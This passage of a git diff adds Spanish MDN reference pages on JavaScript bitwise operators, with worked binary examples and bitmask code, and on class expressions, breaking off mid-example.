+   <td><code>a &gt;&gt;&gt; b</code></td>
+   <td>Desplaza en representación binaria <code>b</code> (&lt; 32) bits a la derecha, desplazando en ceros desde la izquierda.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Enteros_con_signo_de_32_bits">Enteros con signo de 32 bits</h2>
+
+<p>Los operandos de todas las operaciones bitwise son convertidos a enteros con signo de 32 bits en complemento a dos. Complemento a dos significa que el equivalente negativo de un número (por ejemplo, 5 y -5) es igual a todos los bits del número invertido (un NOT del número, también conocido como el compelemento a uno del número) más uno. Por ejemplo, a continuación se codifica el entero 314:</p>
+
+<pre>00000000000000000000000100111010
+</pre>
+
+<p>A continuación se codifica <code>~314</code> como complemento a uno de 314:</p>
+
+<pre>11111111111111111111111011000101
+</pre>
+
+<p>Por último, se codifica <code>-314 como complemento a dos de </code><code>314</code>:</p>
+
+<pre>11111111111111111111111011000110
+</pre>
+
+<p>El complemento a dos garantiza que el bit más a la izquierda es 0 cuando el número es positivo, y 1 cuando el número es negativo. Por esto es llamado <em>bit de signo.</em></p>
+
+<p>El número 0 es el entero compuesto íntegramente por bits en 0.</p>
+
+<pre>0 (base 10) = 00000000000000000000000000000000 (base 2)
+
+</pre>
+
+<p>El número -1 es el entero compuesto íntegramente por bits de 1.</p>
+
+<pre>-1 (base 10) = 11111111111111111111111111111111 (base 2)
+</pre>
+
+<p>El número <code>-2147483648</code> (representación hexadecimal: <code>-0x80000000</code>) es el entero compuesto íntegramente por bits de 0 excepto el de más a la izquierda.</p>
+
+<pre>-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
+</pre>
+
+<p>El número <code>2147483647</code> (representación hexadecimal: <code>0x7fffffff</code>) es el entero compuesto íntegramente por bits de 1 excepto el de más a la izquierda. </p>
+
+<pre>2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
+</pre>
+
+<p>Los números <code>-2147483648</code> and <code>2147483647</code> son el mínimo y el máximo entero que se pueden representar con signo de 32 bits.</p>
+
+<h2 id="Operadores_lógicos_a_nivel_de_bit">Operadores lógicos<strong> a nivel de bit</strong></h2>
+
+<p>Conceptualmente, los operadores lógicos bit a bit funcionan de la siguiente manera:</p>
+
+<ul>
+ <li>Los operandos son convertidos en enteros de 32 bits y representados por series de bits (ceros y unos). Los numeros con más de 32 bits se convierten para que sus bits más significativos sean descartados. Por ejemplo, el siguiente entero con más de 32 bits se convierte a un entero de 32 bits.</li>
+ <li>
+  <pre><code>Antes:     1100110111110100000000000000110000000000001
+Después:              10100000000000000110000000000001</code></pre>
+ </li>
+ <li>Cada bit del primer operando es emparejado con su bit correspondiente en el segundo operando: el primero con el primero, el segundo con el segundo, y así.</li>
+ <li>El operador se aplica a cada pareja de bits, y el resultado se construye bit a bit. </li>
+</ul>
+
+<h3 id="(Bitwise_AND_o_AND_a_nivel_de_bits)"><a name="Bitwise_AND">&amp; (Bitwise AND o AND a nivel de bits)</a></h3>
+
+<p>Corresponde al operador lógico &amp; o "Y". Ejecuta la operación AND en cada par de bits, <code>a</code> AND <code>b</code> es 1 sólo si tanto a como b son 1. La tabla de verdad del operador AND es:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a AND b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre>     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 &amp; 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+</pre>
+
+<p>El resultado de hacer un AND de cualquier número x con 0 es 0, mientras que el de hacer un AND de cualquier número x con -1 da como resultado x. </p>
+
+<h3 id="(Bitwise_OR_o_OR_a_nivel_de_bits)"><a name="Bitwise_OR">| (Bitwise OR o  OR a nivel de bits)</a></h3>
+
+<p>Realiza la operación OR en cada par de bits. a OR b devuelve 1 si a o b son 1. La tabla de verdad para la operación OR es la siguiente:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a OR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre>     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
+</pre>
+
+<p>Ejecutar la operación OR sobre cualquier número x y 0 devuelve x. Ejecutar OR sobre cualquier número X y -1 devuelve -1.</p>
+
+<h3 id="(Bitwise_XOR_o_XOR_a_nivel_de_bits)"><a name="Bitwise_XOR">^ (Bitwise XOR o XOR a nivel de bits)</a></h3>
+
+<p>Realiza la operación XOR en cada par de bits. a OR b devuelve 1 si a o b son diferentes. La tabla de verdad para la operación OR es la siguiente:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">b</td>
+   <td class="header">a XOR b</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre>     9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
+</pre>
+
+<p>Ejecutar la operación XOR sobre cualquier número x y 0 devuelve x. Ejecutar la operación XOR sobre cualquier número x y -1 devuelve ~x</p>
+
+<h3 id="(Bitwise_NOT_o_Negación_a_nivel_de_bits)"><a name="Bitwise_NOT">~ (Bitwise NOT o Negación a nivel de bits)</a></h3>
+
+<p>Realiza la operación NOT a cada bit. NOT devuelve el valor invertido ( conocido como complementario). La tabla de verdad para la operación NOT es la siguiente:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">a</td>
+   <td class="header">NOT a</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<pre> 9 (base 10) = 00000000000000000000000000001001 (base 2)
+               --------------------------------
+~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
+</pre>
+
+<p> </p>
+
+<p>Ejecutar la operación NOT sobre cualquier número x devuelve -(x+1). Por ejemplo -5 devuelve 4.</p>
+
+<p>Ejemplo con indexOf:</p>
+
+<pre class="brush: js">var str = 'rawr';
+var searchFor = 'a';
+
+// esta es un forma alternativa de escribir (-1*str.indexOf('a') &lt;= 0)
+if (~str.indexOf(searchFor)) {
+  // searchFor esta en el string
+} else {
+  // searchFor no esta en el string
+}
+
+// aquí verás los valores que retorna (~str.indexOf(searchFor))
+// r == -1
+// a == -2
+// w == -3
+</pre>
+
+<h2 id="Operadores_de_desplazamiento_a_nivel_de_bit">Operadores de desplazamiento <strong>a nivel de bit</strong></h2>
+
+<p>Los operadores de desplazamiento toman dos operandos: el primero es la cantidad a ser desplazados, y el segundo especifica el número de posiciones bits que el primer operando debe ser desplazado. El sentido del operador de desplazamiento es determinado por el operador utilizado.</p>
+
+<p>Shift operators u operadores de desplazamiento, convierten sus operandos a enteros de 32-bit en orden big-endian y retorna el resultado del mismo tipo que el operando izquierdo. El operador derecho debe ser menor que 32, de lo contrario solo se usaran los ultimos cinco bits mas bajos.</p>
+
+<h3 id="&lt;&lt;_(Desplazamiento_a_la_izquierda)"><a name="Left_shift">&lt;&lt; (Desplazamiento a la izquierda)</a></h3>
+
+<p>Este operador desplaza el primer operando el número especificado de bits a la izquierda. Los bits en exceso desplazados hacia la izquierda se descartan. Los bits cero se desplazan desde la derecha.</p>
+
+<p>Por ejemplo, 9 &lt;&lt; 2 devuelve 36:</p>
+
+<pre>     9 (base 10): 00000000000000000000000000001001 (base 2)
+                  --------------------------------
+9 &lt;&lt; 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
+</pre>
+
+<p>Desplazar a la izquierda cualquier número <strong>x</strong> por <strong>y</strong> bits da por resultado <strong>x * 2^y</strong>.</p>
+
+<h3 id=">>_(Desplazamiento_a_la_derecha_con_propagación_de_signo_o_Desplazamiento_aritmético_a_la_derecha)"><a name="Right_shift">&gt;&gt; (Desplazamiento a la derecha con propagación de signo o </a><a name="Unsigned_right_shift">Desplazamiento aritmético a la derecha</a><a name="Right_shift">)</a></h3>
+
+<p>Este operador desplaza el primer operando la cantidad de bits especificada a la derecha. Los bits en exceso desplazados a la derecha se descartan. Las copias del bit del extremo izquierdo se desplazan desde la izquierda. Como el nuevo bit más a la izquierda tiene el mismo valor que el bit anterior más a la izquierda, el bit de signo (el bit más a la izquierda) no cambia. De ahí el nombre "propagación de signo".</p>
+
+<p>Por ejemplo, <code>9 &gt;&gt; 2</code> devuelve 2:</p>
+
+<pre>     9 (base 10): 00000000000000000000000000001001 (base 2)
+                  --------------------------------
+9 &gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>Igualmente, <code>-9 &gt;&gt; 2</code> devuelve-3, porque se mantiene el signo:</p>
+
+<pre>     -9 (base 10): 11111111111111111111111111110111 (base 2)
+                   --------------------------------
+-9 &gt;&gt; 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
+</pre>
+
+<h3 id=">>>_(Desplazamiento_a_la_derecha_con_relleno_de_ceros_o_Desplazamiento_lógico_)"><a name="Unsigned_right_shift">&gt;&gt;&gt; (Desplazamiento a la derecha con relleno de ceros o Desplazamiento lógico )</a></h3>
+
+<p>Este operador desplaza el primer operando la cantidad de bits especificada a la derecha. Los bits en exceso desplazados a la derecha se descartan. Ceros son despalzadas o introducidos desde la izquierda. El bit de signo aútomaticamente se convierte 0, así que el resultado siempre es pósitivo. </p>
+
+<p><br>
+ Para números no negativos, el desplazamiento lógico y arítmetico dan el mismo resultado. Por ejemplo, <code>9 &gt;&gt;&gt; 2</code> da 2, al igual que <code>9 &gt;&gt; 2</code>:</p>
+
+<pre>      9 (base 10): 00000000000000000000000000001001 (base 2)
+                   --------------------------------
+9 &gt;&gt;&gt; 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
+</pre>
+
+<p>Sin embargo, no es el caso para números negativos. Por ejemplo, <code>-9 &gt;&gt;&gt; 2</code> da 1073741821, que es diferente de  <code>-9 &gt;&gt; 2</code> (que da -3):</p>
+
+<pre>      -9 (base 10): 11111111111111111111111111110111 (base 2)
+                    --------------------------------
+-9 &gt;&gt;&gt; 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Banderas_y_máscaras_de_bits">Banderas y máscaras de bits</h3>
+
+<p>Los operadores lógicos a nivel de bits se utilizan a menudo para crear, manipular y leer secuencias de indicadores, que son como variables binarias. Se podrían usar variables en lugar de estas secuencias, pero las banderas binarias toman mucho menos memoria (por un factor de 32).</p>
+
+<p>Supongamos que hay 4 banderas:</p>
+
+<ul>
+ <li>bandera A: tenemos un problema de hormigas</li>
+ <li>bandera B: somos dueños de un murciélago</li>
+ <li>bandera C: somos dueños de un gato</li>
+ <li>bandera D: somos dueños de un pato</li>
+</ul>
+
+<p>Estas banderas están representadas por una secuencia de bits: DCBA. Cuando se establece un indicador, tiene un valor de 1. Cuando se elimina un indicador, tiene un valor de 0. Suponga que los indicadores de una variable tienen el valor binario 0101:</p>
+
+<pre class="brush: js">var flags = 5;   // binary 0101
+</pre>
+
+<p>Este valor indica:</p>
+
+<ul>
+ <li>la bandera A es verdadera (tenemos un problema de hormigas);</li>
+ <li>la bandera B es falsa (no tenemos un murciélago);</li>
+ <li>la bandera C es verdadera (somos dueños de un gato);</li>
+ <li>la bandera D es falsa (no tenemos pato);</li>
+</ul>
+
+<p>Dado que los operadores bitwise son de 32 bits, 0101 es en realidad 0000000000000000000000000000000101, pero los ceros anteriores pueden ignorarse ya que no contienen información significativa.</p>
+
+<p>Una máscara de bits es una secuencia de bits que puede manipular y / o leer banderas. Normalmente, se define una máscara de bits "primitiva" para cada bandera:</p>
+
+<pre class="brush: js">var FLAG_A = 1; // 0001
+var FLAG_B = 2; // 0010
+var FLAG_C = 4; // 0100
+var FLAG_D = 8; // 1000
+</pre>
+
+<p>Se pueden crear nuevas máscaras de bits utilizando los operadores lógicos a nivel de bits en estas máscaras de bits primitivas. Por ejemplo, la máscara de bits 1011 se puede crear mediante ORing FLAG_A, FLAG_B y FLAG_D:</p>
+
+<pre class="brush: js">var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 =&gt; 1011
+</pre>
+
+<p>Los valores de los indicadores individuales se pueden extraer mediante AND con una máscara de bits, donde cada bit con el valor de uno "extraerá" el indicador correspondiente. La máscara de bits enmascara las marcas no relevantes mediante AND con ceros (de ahí el término "bitmask"). Por ejemplo, la máscara de bits 0101 se puede usar para ver si el indicador C está establecido:</p>
+
+<pre class="brush: js">// if we own a cat
+if (flags &amp; FLAG_C) { // 0101 &amp; 0100 =&gt; 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<p>Una máscara de bits con varios indicadores establecidos actúa como un "either/or". Por ejemplo, los siguientes dos son equivalentes:</p>
+
+<pre class="brush: js">// if we own a bat or we own a cat
+// (0101 &amp; 0010) || (0101 &amp; 0100) =&gt; 0000 || 0100 =&gt; true
+if ((flags &amp; FLAG_B) || (flags &amp; FLAG_C)) {
+   // do stuff
+}
+</pre>
+
+<pre class="brush: js">// if we own a bat or cat
+var mask = FLAG_B | FLAG_C; // 0010 | 0100 =&gt; 0110
+if (flags &amp; mask) { // 0101 &amp; 0110 =&gt; 0100 =&gt; true
+   // do stuff
+}
+</pre>
+
+<p>Los indicadores se pueden establecer mediante ORing con una máscara de bits, donde cada bit con el valor uno establecerá el indicador correspondiente, si ese indicador no está ya establecido. Por ejemplo, la máscara de bits 1100 se puede utilizar para establecer los indicadores C y D:</p>
+
+<pre class="brush: js">// yes, we own a cat and a duck
+var mask = FLAG_C | FLAG_D; // 0100 | 1000 =&gt; 1100
+flags |= mask;   // 0101 | 1100 =&gt; 1101
+</pre>
+
+<p>Los indicadores se pueden borrar ANDing con una máscara de bits, donde cada bit con el valor cero borrará el indicador correspondiente, si aún no se ha borrado. Esta máscara de bits se puede crear NOTing las máscaras de bits primitivas. Por ejemplo, la máscara de bits 1010 se puede utilizar para borrar los indicadores A y C:</p>
+
+<pre class="brush: js">// no, we don't have an ant problem or own a cat
+var mask = ~(FLAG_A | FLAG_C); // ~0101 =&gt; 1010
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>La máscara también podría haberse creado con ~ FLAG_A &amp; ~ FLAG_C (ley de De Morgan):</p>
+
+<pre class="brush: js">// no, we don't have an ant problem, and we don't own a cat
+var mask = ~FLAG_A &amp; ~FLAG_C;
+flags &amp;= mask;   // 1101 &amp; 1010 =&gt; 1000
+</pre>
+
+<p>Los indicadores se pueden alternar mediante XORing con una máscara de bits, donde cada bit con el valor uno cambiará el indicador correspondiente. Por ejemplo, la máscara de bits 0110 se puede utilizar para alternar los indicadores B y C:</p>
+
+<pre class="brush: js">// if we didn't have a bat, we have one now,
+// and if we did have one, bye-bye bat
+// same thing for cats
+var mask = FLAG_B | FLAG_C;
+flags = flags ^ mask;   // 1100 ^ 0110 =&gt; 1010
+</pre>
+
+<p>Finalmente, todas las banderas se pueden voltear con el operador NOT:</p>
+
+<pre class="brush: js">// entering parallel universe...
+flags = ~flags;    // ~1010 =&gt; 0101
+</pre>
+
+<h3 id="Fragmentos_de_conversión">Fragmentos de conversión</h3>
+
+<p>Convert a binary <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> to a decimal <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>:</p>
+
+<pre class="brush: js">var sBinString = "1011";
+var nMyNumber = parseInt(sBinString, 2);
+alert(nMyNumber); // prints 11, i.e. 1011
+</pre>
+
+<p> </p>
+
+<p>Convierte una cadena binaria a un número decimal:</p>
+
+<p> </p>
+
+<pre class="brush: js">var nMyNumber = 11;
+var sBinString = nMyNumber.toString(2);
+alert(sBinString); // prints 1011, i.e. 11
+</pre>
+
+<h3 id="Automatiza_la_creación_de_una_máscara.">Automatiza la creación de una máscara.</h3>
+
+<p>Si tiene que crear muchas máscaras a partir de algunos valores booleanos, puede automatizar el proceso:</p>
+
+<pre class="brush: js">function createMask () {
+  var nMask = 0, nFlag = 0, nLen = arguments.length &gt; 32 ? 32 : arguments.length;
+  for (nFlag; nFlag &lt; nLen; nMask |= arguments[nFlag] &lt;&lt; nFlag++);
+  return nMask;
+}
+var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
+var mask2 = createMask(false, false, true); // 4, i.e.: 0100
+var mask3 = createMask(true); // 1, i.e.: 0001
+// etc.
+
+alert(mask1); // prints 11, i.e.: 1011
+</pre>
+
+<h3 id="Algoritmo_inverso_una_matriz_de_valores_booleanos_de_una_máscara">Algoritmo inverso: una matriz de valores booleanos de una máscara</h3>
+
+<p>Si desea crear una matriz de valores booleanos a partir de una máscara, puede usar este código:</p>
+
+<pre class="brush: js">function arrayFromMask (nMask) {
+  // nMask must be between -2147483648 and 2147483647
+  if (nMask &gt; 0x7fffffff || nMask &lt; -0x80000000) {
+    throw new TypeError("arrayFromMask - out of range");
+  }
+  for (var nShifted = nMask, aFromMask = []; nShifted;
+       aFromMask.push(Boolean(nShifted &amp; 1)), nShifted &gt;&gt;&gt;= 1);
+  return aFromMask;
+}
+
+var array1 = arrayFromMask(11);
+var array2 = arrayFromMask(4);
+var array3 = arrayFromMask(1);
+
+alert("[" + array1.join(", ") + "]");
+// prints "[true, true, false, true]", i.e.: 11, i.e.: 1011
+</pre>
+
+<p>Puedes probar ambos algoritmos al mismo tiempo ...</p>
+
+<pre class="brush: js">var nTest = 19; // our custom mask
+var nResult = createMask.apply(this, arrayFromMask(nTest));
+
+alert(nResult); // 19
+</pre>
+
+<p>Solo para fines didácticos (ya que existe el método Number.toString (2)), mostramos cómo es posible modificar el algoritmo arrayFromMask para crear una cadena que contenga la representación binaria de un número, en lugar de una matriz de booleanos:</p>
+
+<pre class="brush: js">function createBinaryString (nMask) {
+  // nMask must be between -2147483648 and 2147483647
+  for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag &lt; 32;
+       nFlag++, sMask += String(nShifted &gt;&gt;&gt; 31), nShifted &lt;&lt;= 1);
+  return sMask;
+}
+
+var string1 = createBinaryString(11);
+var string2 = createBinaryString(4);
+var string3 = createBinaryString(1);
+
+alert(string1);
+// prints 00000000000000000000000000001011, i.e. 11
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definicion inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.7')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definido en varias secciones de la especificación: operador NOT a nivel de bit, operadores de cambio a nivel de bit, operadores a nivel de bit binarios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-bitwise-shift-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definido en varias secciones de la especificación: operador NOT a nivel de bit, operadores de cambio a nivel de bit, operadores a nivel de bit binarios</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_NOT">Bitwise NOT (<code>~</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND">Bitwise AND (<code>&amp;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR">Bitwise OR (<code>|</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR">Bitwise XOR (<code>^</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift">Left shift (<code>&lt;&lt;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift">Right shift (<code>&gt;&gt;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift">Unsigned right shift (<code>&gt;&gt;&gt;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_NOT">Bitwise NOT (<code>~</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND">Bitwise AND (<code>&amp;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR">Bitwise OR (<code>|</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR">Bitwise XOR (<code>^</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift">Left shift (<code>&lt;&lt;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift">Right shift (<code>&gt;&gt;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift">Unsigned right shift (<code>&gt;&gt;&gt;</code>)</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators">Operadores logicos</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/class/index.html b/files/es/web/javascript/referencia/operadores/class/index.html
new file mode 100644
index 0000000000..e654359035
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/class/index.html
@@ -0,0 +1,157 @@
+---
+title: expresión class
+slug: Web/JavaScript/Referencia/Operadores/class
+tags:
+  - Classes
+  - ECMAScript6
+  - Expression
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/class
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La <strong>expresión class</strong> es una forma de definir una clase en ECMAScript 2015 (ES6). Similar a las <a href="/es/docs/Web/JavaScript/Referencia/Operadores/function">funciones</a>, las expresiones de clase pueden ser nombradas o no. Si se nombran, el nombre de la clase es local sólo en el cuerpo de la clase. Las clases en JavaScript utilizan herencia basada en prototipos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var MyClass = class <em>[className]</em> [extends] {
+  // class body
+};</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Una expresión de clase tiene una sintaxis similar a la <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/class">declaración de una clase</a>. Sin embargo, con las expresiones de clases, está permitido omitir el nombre de la clase ("identificador de enlace"), cosa que no se puede hacer con las declaraciones de clases. Además, las expresiones de clases permiten redefinir/redeclarar clases y <strong>no lanzar</strong> ningún tipo de error como las <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/class">declaraciones de clases</a>. La propiedad <code>constructor</code> es opcional. Y el <em>typeof </em>de las clases generadas con esta palabra clave siempre será "function".</p>
+
+<p>Tal y como en la declaración de clases, el cuerpo de la expresión de clase se ejecuta en <a href="/es/docs/Web/JavaScript/Referencia/Modo_estricto">modo estricto</a>.</p>
+
+<pre class="brush: js">'use strict';
+var Foo = class {}; // la propiedad constructor es opcional
+var Foo = class {}; // Se permite repetir declaraciones
+
+typeof Foo; // devuelve "function"
+typeof class {}; // devuelve "function"
+
+Foo instanceof Object; // true
+Foo instanceof Function; // true
+class Foo {}; // Lanza TypeError, no permite volver a declararla
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Una_clase_sencilla">Una clase sencilla</h3>
+
+<p>Esta es una sencilla expresión de clase anónima a la que se puede hacer referencia utilizando la variable "Foo".</p>
+
+<pre class="brush: js">var Foo = class {
+  constructor() {}
+  bar() {
+    return "Hello World!";
+  }
+};
+
+var instance = new Foo();
+instance.bar(); // "Hello World!"
+Foo.name; // "Foo"
+</pre>
+
+<h3 id="Expresiones_de_clase_con_nombre">Expresiones de clase con nombre</h3>
+
+<p>Si se quiere hacer referencia a la clase actual dentro del cuerpo de la clase, se puede crear una expresión de clase con nombre. Este nombre sólo será visible en el mismo contexto de la expresión de clase.</p>
+
+<pre class="brush: js">var Foo = class NamedFoo {
+  constructor() {}
+  whoIsThere() {
+    return NamedFoo.name;
+  }
+}
